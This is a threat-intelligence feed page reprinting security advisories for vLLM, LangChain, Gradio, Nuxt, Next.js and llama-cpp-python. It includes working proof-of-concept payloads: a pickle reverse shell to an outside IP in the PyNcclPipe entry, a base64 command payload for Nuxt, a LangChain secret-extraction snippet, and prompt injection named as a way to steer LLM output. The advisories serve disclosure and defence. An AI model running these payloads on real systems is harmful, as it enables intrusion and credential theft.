Threat Intelligence

Live CVE feed

299 threats tracked across 7 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

44threats · Critical· page 1/3
Get guardrails →
2 rules

vLLM has RCE In Video Processing

Summary A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE): 1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR 2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth. Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1. Deployments not serving a video model are not affected. --- 1. Vulnerability Overview 1.1 The Bug: JPEG2000 cdef Box Heap Overflow The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow. Root Cause cdef allows channel remapping (e.g., Y→U, U→Y). Y plane size: W×H; U plane size: (W/2)×(H/2). Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes. Example (150×64) Y plane: 150×64 = 9,600 bytes U plane: 75×32 = 2,400 bytes Overflow: 7,200 bytes past the U buffer 1.2 Malicious cdef Box `` Offset Size Field Value 0 4 Box Length 0x00000016 (22 bytes) 4 4 Box Type 'cdef' 8 2 N (channels) 0x0003 10 2 Channel 0 Cn 0x0000 (Y channel) 12 2 Channel 0 Typ 0x0000 (color) 14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane) 16 2 Channel 1 Cn 0x0001 (U channel) 18 2 Channel 1 Typ 0x0000 (color) 20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane) 22 2 Channel 2 Cn 0x0002 (V channel) 24 2 Channel 2 Typ 0x0000 (color) 26 2 Channel 2 Asoc 0x0003 (→ maps V plane) ` Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow. --- Vulnerable Code Chain 1) Entry: vLLM accepts a remote video_url and downloads raw bytes vLLM’s OpenAI-compatible API supports a video_url content part: `python class VideoURL(TypedDict, total=False): url: Required[str] class ChatCompletionContentPartVideoParam(TypedDict, total=False): video_url: Required[VideoURL] type: Required[Literal["video_url"]] ` Source: src/vllm/entrypoints/chat_utils.py. When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader: `python if url_spec.scheme.startswith("http"): data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...) return media_io.load_bytes(data) ` Source: src/vllm/multimodal/utils.py (MediaConnector.load_from_url). --- 2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes: `python backend = cls().get_cv2_video_api() cap = cv2.VideoCapture(BytesIO(data), backend, []) if not cap.isOpened(): raise ValueError("Could not open video stream") ` Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.load_bytes). The backend is selected from OpenCV’s stream-buffered backends registry: `python import cv2.videoio_registry as vr for backend in vr.getStreamBufferedBackends(): if vr.hasBackend(backend) and ...: api_pref = backend break return api_pref ` Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.get_cv2_video_api). Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000). --- 3) The actual overflow: Y (full-res) written into U (quarter-res) When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes: Y plane bytes: \(W \times H\) U plane bytes: \((W/2) \times (H/2)\) Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\) Concrete example tried (150×64): Y: \(150 \times 64 = 9600\) bytes U: \(75 \times 32 = 2400\) bytes Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout. --- The Exploit Chain Vuln 1: PIL BytesIO Address Leak (ASLR Bypass) When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like: ` cannot identify image file <_io.BytesIO object at 0x7a95e299e750> ^^^^^^^^^^^^^^^^ LEAKED ADDRESS! ` vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses. Vuln 2: JPEG2000 cdef Heap Overflow (RCE) vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln: ` vLLM API Request to Completions/Invocation ↓ OpenCV cv2.VideoCapture() ↓ FFmpeg 5.1 (bundled in OpenCV) ↓ JPEG2000 decoder (libopenjp2) ↓ HEAP OVERFLOW via malicious "cdef" box ↓ Overwrite function pointer → RCE! ` How the overflow works: JPEG2000 has a cdef box that remaps color channels We remap Y (luma) into the U (chroma) buffer Y plane = 9,600 bytes, U plane = 2,400 bytes On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images. This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets. We set free = system() and opaque = "command string" When the buffer is freed → system("our command") executes --- vLLM Attack Surface Affected Endpoints Both multimodal endpoints are vulnerable: ` POST /v1/chat/completions (with video_url in content) POST /v1/invocations (with video_url in content) ` Request Flow ` 1. Attacker sends request with video_url pointing to malicious .mov file 2. vLLM fetches the video from the URL 3. vLLM passes video bytes to cv2.VideoCapture() 4. OpenCV's bundled FFmpeg decodes JPEG2000 frames 5. Malicious cdef box triggers heap overflow 6. AVBuffer.free pointer overwritten with system() 7. When buffer is released → system("attacker command") executes `` --- Versions Affected | Component | Version | Notes | |-----------|---------|-------| | vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model | | OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable | | FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow | | libopenjp2 | 2.x | Honors malicious cdef box | --- Fixes https://github.com/vllm-project/vllm/pull/31987 https://github.com/vllm-project/vllm/pull/32319 https://github.com/vllm-project/vllm/pull/32668

OWASP A09OWASP LLM
Get guardrail →
2 rules

LangChain serialization injection vulnerability enables secret extraction in dumps/loads APIs

Summary A serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data. Attack surface The core vulnerability was in dumps() and dumpd(): these functions failed to escape user-controlled dictionaries containing 'lc' keys. When this unescaped data was later deserialized via load() or loads(), the injected structures were treated as legitimate LangChain objects rather than plain user data. This escaping bug enabled several attack vectors: 1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additional_kwargs, or response_metadata 2. Class instantiation within trusted namespaces: Injected manifests could instantiate any Serializable subclass, but only within the pre-approved trusted namespaces (langchain_core, langchain, langchain_community). This includes classes with side effects in __init__ (network calls, file operations, etc.). Note that namespace validation was already enforced before this patch, so arbitrary classes outside these trusted namespaces could not be instantiated. Security hardening This patch fixes the escaping bug in dumps() and dumpd() and introduces new restrictive defaults in load() and loads(): allowlist enforcement via allowed_objects="core" (restricted to serialization mappings), secrets_from_env changed from True to False, and default Jinja2 template blocking via init_validator. These are breaking changes for some use cases. Who is affected? Applications are vulnerable if they: 1. Use astream_events(version="v1") — The v1 implementation internally uses vulnerable serialization. Note: astream_events(version="v2") is not vulnerable. 2. Use Runnable.astream_log() — This method internally uses vulnerable serialization for streaming outputs. 3. Call dumps() or dumpd() on untrusted data, then deserialize with load() or loads() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 4. Deserialize untrusted data with load() or loads() — Directly deserializing untrusted data that may contain injected 'lc' structures. 5. Use RunnableWithMessageHistory — Internal serialization in message history handling. 6. Use InMemoryVectorStore.load() to deserialize untrusted documents. 7. Load untrusted generations from cache using langchain-community caches. 8. Load untrusted manifests from the LangChain Hub via hub.pull. 9. Use StringRunEvaluatorChain on untrusted runs. 10. Use create_lc_store or create_kv_docstore with untrusted documents. 11. Use MultiVectorRetriever with byte stores containing untrusted documents. 12. Use LangSmithRunChatLoader with runs containing untrusted messages. The most common attack vector is through LLM response fields like additional_kwargs or response_metadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations. Impact Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENV_VAR"]} to load environment variables during deserialization (when secrets_from_env=True, which was the old default). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within trusted namespaces with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations. Key severity factors: Affects the serialization path - applications trusting their own serialization output are vulnerable Enables secret extraction when combined with secrets_from_env=True (the old default) LLM responses in additional_kwargs can be controlled via prompt injection Exploit example ``python from langchain_core.load import dumps, load import os Attacker injects secret structure into user-controlled data attacker_dict = { "user_data": { "lc": 1, "type": "secret", "id": ["OPENAI_API_KEY"] } } serialized = dumps(attacker_dict) # Bug: does NOT escape the 'lc' key os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345" deserialized = load(serialized, secrets_from_env=True) print(deserialized["user_data"]) # "sk-secret-key-12345" - SECRET LEAKED! ` Security hardening changes (breaking changes) This patch introduces three breaking changes to load() and loads(): 1. New allowed_objects parameter (defaults to 'core'): Enforces allowlist of classes that can be deserialized. The 'all' option corresponds to the list of objects specified in mappings.py while the 'core' option limits to objects within langchain_core. We recommend that users explicitly specify which objects they want to allow for serialization/deserialization. 2. secrets_from_env default changed from True to False: Disables automatic secret loading from environment 3. New init_validator parameter (defaults to default_init_validator): Blocks Jinja2 templates by default Migration guide No changes needed for most users If you're deserializing standard LangChain types (messages, documents, prompts, trusted partner integrations like ChatOpenAI, ChatAnthropic, etc.), your code will work without changes: `python from langchain_core.load import load Uses default allowlist from serialization mappings obj = load(serialized_data) ` For custom classes If you're deserializing custom classes not in the serialization mappings, add them to the allowlist: `python from langchain_core.load import load from my_package import MyCustomClass Specify the classes you need obj = load(serialized_data, allowed_objects=[MyCustomClass]) ` For Jinja2 templates Jinja2 templates are now blocked by default because they can execute arbitrary code. If you need Jinja2 templates, pass init_validator=None: `python from langchain_core.load import load from langchain_core.prompts import PromptTemplate obj = load( serialized_data, allowed_objects=[PromptTemplate], init_validator=None ) ` > [!WARNING] > Only disable init_validator if you trust the serialized data. Jinja2 templates can execute arbitrary Python code. For secrets from environment secrets_from_env now defaults to False. If you need to load secrets from environment variables: `python from langchain_core.load import load obj = load(serialized_data, secrets_from_env=True) `` Credits Dumps bug was reported by @yardenporat Changes for security hardening due to findings from @0xn3va and @VladimirEliTokarev

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

React Server Components are Vulnerable to RCE

Impact There is an unauthenticated remote code execution vulnerability in React Server Components. We recommend upgrading immediately. The vulnerability is present in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack Patches A fix was introduced in versions 19.0.1, 19.1.2, and 19.2.1. If you are using any of the above packages please upgrade to any of the fixed versions immediately. If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability. References See the blog post for more information and upgrade instructions.

OWASP A08OWASP Web
Get guardrail →

Next.js is vulnerable to RCE in React flight protocol

A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55182. Fixed in: React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+ The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76. All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately. <sup>1</sup> The affected React packages are: react-server-dom-parcel react-server-dom-turbopack react-server-dom-webpack

OWASP A08OWASP Web
Get guardrail →
2 rules

llama_index vulnerable to SQL Injection

Multiple vector store integrations in run-llama/llama_index version v0.12.21 have SQL injection vulnerabilities. These vulnerabilities allow an attacker to read and write data using SQL, potentially leading to unauthorized access to data of other users depending on the usage of the llama-index library in a web application.

OWASP A03OWASP LLM
Get guardrail →
2 rules

vLLM Allows Remote Code Execution via PyNcclPipe Communication Service

Impacted Environments This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected. Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.​ A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional. Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution. 1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: ``python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" ) p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ` 2. The attacker crafts malicious packets and sends them to the PyNcclPipe service: `python from vllm.distributed.utils import StatelessProcessGroup class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,)) client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, ) client.send_obj(obj=Evil(),dst=0) ` The call stack triggering ​RCE is as follows: ` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ` Getshell as follows: !image Reporters This issue was reported independently by three different parties: @kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb) Fix https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore` socket to the private interface as configured.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

vLLM Vulnerable to Remote Code Execution via Mooncake Integration

Impacted Deployments Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable. Description vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack. This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179 Here recv_pyobj() Contains implicit pickle.loads(), which leads to potential RCE.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

vLLM allows Remote Code Execution by Pickle Deserialization via AsyncEngineRPCServer() RPC server entrypoints

vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality run_server_loop() calls the function _make_handler_coro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.

OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →
2 rules

vLLM deserialization vulnerability in vllm.distributed.GroupCoordinator.recv_object

vllm-project vllm version 0.6.0 contains a vulnerability in the distributed training API. The function vllm.distributed.GroupCoordinator.recv_object() deserializes received object bytes using pickle.loads() without sanitization, leading to a remote code execution vulnerability. Maintainer perspective Note that vLLM does NOT use the code as described in the report on huntr. The problem only exists if you use these internal APIs in a way that exposes them to a network as described. The vllm team was not involved in the analysis of this report and the decision to assign it a CVE.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

vLLM Deserialization of Untrusted Data vulnerability

vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

vLLM Allows Remote Code Execution via Mooncake Integration

Summary When vLLM is configured to use Mooncake, unsafe deserialization exposed directly over ZMQ/TCP will allow attackers to execute remote code on distributed hosts. Details 1. Pickle deserialization vulnerabilities are well documented. 2. The mooncake pipe is exposed over the network (by design to enable disaggregated prefilling across distributed environments) using ZMQ over TCP, greatly increasing exploitability. ~~Further, the mooncake integration opens these sockets listening on all interfaces on the host, meaning it can not be configured to only use a private, trusted network.~~ Only sender_socket and receiver_ack are allowed to be accessed publicly, while the data actually decompressed by pickle.loads() comes from recv_bytes. Its interface is defined as self.receiver_socket.connect(f\"tcp://{d_host}:{d_rank_offset + 1}\"), where d_host is decode_host, a locally defined address 192.168.0.139,from mooncake.json (https://github.com/kvcache-ai/Mooncake/blob/main/doc/en/vllm-integration-v0.2.md?plain=1#L36). 3. The root problem is recv_tensor() calls _recv_impl which passes the raw network bytes to pickle.loads(). Additionally, it does not appear that there are any controls (network, authentication, etc) to prevent arbitrary users from sending this payload to the affected service. Impact This is a remote code execution vulnerability impacting any deployments using Mooncake to distribute KV across distributed hosts. Remediation This issue is resolved by https://github.com/vllm-project/vllm/pull/14228

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

Gradio Blocked Path ACL Bypass Vulnerability

Summary Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected. This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments. Affected Version Gradio <= 5.6.0 Impact Unauthorized Access: Sensitive files or directories specified in blocked_paths can be accessed by attackers. Data Exposure: Critical files, such as configuration files or user data, may be leaked. Security Breach: This can lead to broader application or system compromise if sensitive files contain credentials or API keys. Root Cause The blocked_paths parameter in Gradio block's initial configuration is designed to restrict user access to specific files or directories in the local file system. However, it does not account for case-insensitive operating systems, such as Windows and macOS. This oversight enables attackers to bypass ACL restrictions by changing the case of file paths. Vulnerable snippet: ``python https://github.com/gradio-app/gradio/blob/main/gradio/utils.py#L1500-L1517 def is_allowed_file( path: Path, blocked_paths: Sequence[str | Path], allowed_paths: Sequence[str | Path], created_paths: Sequence[str | Path], ) -> tuple[ bool, Literal["in_blocklist", "allowed", "created", "not_created_or_allowed"] ]: in_blocklist = any( is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths ) if in_blocklist: return False, "in_blocklist" if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths): return True, "allowed" if any(is_in_or_equal(path, created_path) for created_path in created_paths): return True, "created" return False, "not_created_or_allowed" ` Gradio relies on is_in_or_equal to determine if a file path is restricted. However, this logic fails to handle case variations in paths on case-insensitive file systems, leading to the bypass. Proof of Concept (PoC) Steps to Reproduce Deploy a Gradio demo app on a case-insensitive operating system (e.g., Windows or macOS). `bash import gradio as gr def update(name): return f"Welcome to Gradio, {name}!" with gr.Blocks() as demo: gr.Markdown("Start typing below and then click Run to see the output.") with gr.Row(): inp = gr.Textbox(placeholder="What is your name?") out = gr.Textbox() btn = gr.Button("Run") btn.click(fn=update, inputs=inp, outputs=out) demo.launch(blocked_paths=['resources/admin'], allowed_paths=['resources/']) ` Set up the file system: Create a folder named resources in the same directory as the app, containing a file 1.txt. Inside the resources folder, create a subfolder named admin containing a sensitive file credential.txt (this file should be inaccessible due to blocked_paths). Perform the attack: Access the sensitive file using a case-altered path: ` http://127.0.0.1:PORT/gradio_api/file=resources/adMin/credential.txt ` Expected Result Access to resources/admin/credential.txt should be blocked. Actual Result By altering the case in the path (e.g., adMin), the blocked ACL is bypassed, and unauthorized access to the sensitive file is granted. !image-20241119172439042 This demonstration highlights that flipping the case of restricted paths allows attackers to bypass Gradio's ACL and access sensitive data. Remediation Recommendations 1. Normalize Path Case: Before evaluating paths against the ACL, normalize the case of both the requested path and the blocked paths (e.g., convert all paths to lowercase). Example: `python normalized_path = str(path).lower() normalized_blocked_paths = [str(p).lower() for p in blocked_paths] `` 2. Update Documentation: Warn developers about potential risks when deploying Gradio on case-insensitive file systems. 3. Release Security Patches: Notify users of the vulnerability and release an updated version of Gradio with the fixed logic. ##

OWASP A01LLM06 · Sensitive Info DisclosureOWASP LLM
Get guardrail →
2 rules

Gradio allows users to access arbitrary files

Impact This vulnerability allows users of Gradio applications that have a public link (such as on Hugging Face Spaces) to access files on the machine hosting the Gradio application. This involves intercepting and modifying the network requests made by the Gradio app to the server. Patches Yes, the problem has been patched in Gradio version 4.19.2 or higher. We have no knowledge of this exploit being used against users of Gradio applications, but we encourage all users to upgrade to Gradio 4.19.2 or higher. Fixed in: https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7 CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1728

OWASP A01OWASP LLM
Get guardrail →
2 rules

LlamaIndex includes an exec call for `import {cls_name}`

An issue was discovered in llama_index before 0.10.38. download/integration.py includes an exec call for import {cls_name}.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →
2 rules

Nuxt vulnerable to remote code execution via the browser when running the test locally

Summary Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands. Details While running the test, a special component named NuxtTestComponentWrapper is available. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43 This component loads the specified path as a component and renders it. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27 There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19 Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function. For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test. By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following: `` data:text/javascript;base64,Y29uc29sZS5sb2coMSk ` Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript. PoC 1. Create a nuxt project and run it in the test mode: ` npx nuxi@latest init test cd test TEST=true npm run dev ` 2. Open the following URL: ` http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk ` 3. Confirm that the output of whoami is written to /tmp/test` Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4 Impact Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.

OWASP A03OWASP Web
Get guardrail →
2 rules

llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata

Description llama-cpp-python depends on class Llama in llama.py to load .gguf llama.cpp or Latency Machine Learning Models. The __init__ constructor built in the Llama takes several parameters to configure the loading and running of the model. Other than NUMA, LoRa settings, loading tokenizers, and hardware settings, __init__ also loads the chat template from targeted .gguf 's Metadata and furtherly parses it to llama_chat_format.Jinja2ChatFormatter.to_chat_handler() to construct the self.chat_handler for this model. Nevertheless, Jinja2ChatFormatter parse the chat template within the Metadate with sandbox-less jinja2.Environment, which is furthermore rendered in __call__ to construct the prompt of interaction. This allows jinja2 Server Side Template Injection which leads to RCE by a carefully constructed payload. Source-to-Sink llama.py -> class Llama -> __init__: ``python class Llama: """High-level Python wrapper for a llama.cpp model.""" __backend_initialized = False def __init__( self, model_path: str, # lots of params; Ignoring ): self.verbose = verbose set_verbose(verbose) if not Llama.__backend_initialized: with suppress_stdout_stderr(disable=verbose): llama_cpp.llama_backend_init() Llama.__backend_initialized = True # Ignoring lines of unrelated codes..... try: self.metadata = self._model.metadata() except Exception as e: self.metadata = {} if self.verbose: print(f"Failed to load metadata: {e}", file=sys.stderr) if self.verbose: print(f"Model metadata: {self.metadata}", file=sys.stderr) if ( self.chat_format is None and self.chat_handler is None and "tokenizer.chat_template" in self.metadata ): chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata( self.metadata ) if chat_format is not None: self.chat_format = chat_format if self.verbose: print(f"Guessed chat format: {chat_format}", file=sys.stderr) else: template = self.metadata["tokenizer.chat_template"] try: eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"]) except: eos_token_id = self.token_eos() try: bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"]) except: bos_token_id = self.token_bos() eos_token = self._model.token_get_text(eos_token_id) bos_token = self._model.token_get_text(bos_token_id) if self.verbose: print(f"Using gguf chat template: {template}", file=sys.stderr) print(f"Using chat eos_token: {eos_token}", file=sys.stderr) print(f"Using chat bos_token: {bos_token}", file=sys.stderr) self.chat_handler = llama_chat_format.Jinja2ChatFormatter( template=template, eos_token=eos_token, bos_token=bos_token, stop_token_ids=[eos_token_id], ).to_chat_handler() if self.chat_format is None and self.chat_handler is None: self.chat_format = "llama-2" if self.verbose: print(f"Using fallback chat format: {chat_format}", file=sys.stderr) ` In llama.py, llama-cpp-python defined the fundamental class for model initialization parsing (Including NUMA, LoRa settings, loading tokenizers, and stuff ). In our case, we will be focusing on the parts where it processes metadata; it first checks if chat_format and chat_handler are None and checks if the key tokenizer.chat_template exists in the metadata dictionary self.metadata. If it exists, it will try to guess the chat format from the metadata. If the guess fails, it will get the value of chat_template directly from self.metadata.self.metadata is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the chat_template is parsed into llama_chat_format.Jinja2ChatFormatter as params which furthermore stored the to_chat_handler() as chat_handler llama_chat_format.py -> Jinja2ChatFormatter: self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render( `python class ChatFormatter(Protocol): """Base Protocol for a chat formatter. A chat formatter is a function that takes a list of messages and returns a chat format response which can be used to generate a completion. The response can also include a stop token or list of stop tokens to use for the completion.""" def __call__( self, , messages: List[llama_types.ChatCompletionRequestMessage], kwargs: Any, ) -> ChatFormatterResponse: ... class Jinja2ChatFormatter(ChatFormatter): def __init__( self, template: str, eos_token: str, bos_token: str, add_generation_prompt: bool = True, stop_token_ids: Optional[List[int]] = None, ): """A chat formatter that uses jinja2 templates to format the prompt.""" self.template = template self.eos_token = eos_token self.bos_token = bos_token self.add_generation_prompt = add_generation_prompt self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) def __call__( self, , messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, *kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ` As we can see in llama_chat_format.py -> Jinja2ChatFormatter, the constructor __init__ initialized required members inside of the class; Nevertheless, focusing on this line: `python self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) ` Fun thing here: llama_cpp_python directly loads the self.template (self.template = template which is the chat template located in the Metadate that is parsed as a param) via jinja2.Environment.from_string( without setting any sandbox flag or using the protected immutablesandboxedenvironment class. This is extremely unsafe since the attacker can implicitly tell llama_cpp_python to load malicious chat template which is furthermore rendered in the __call__ constructor, 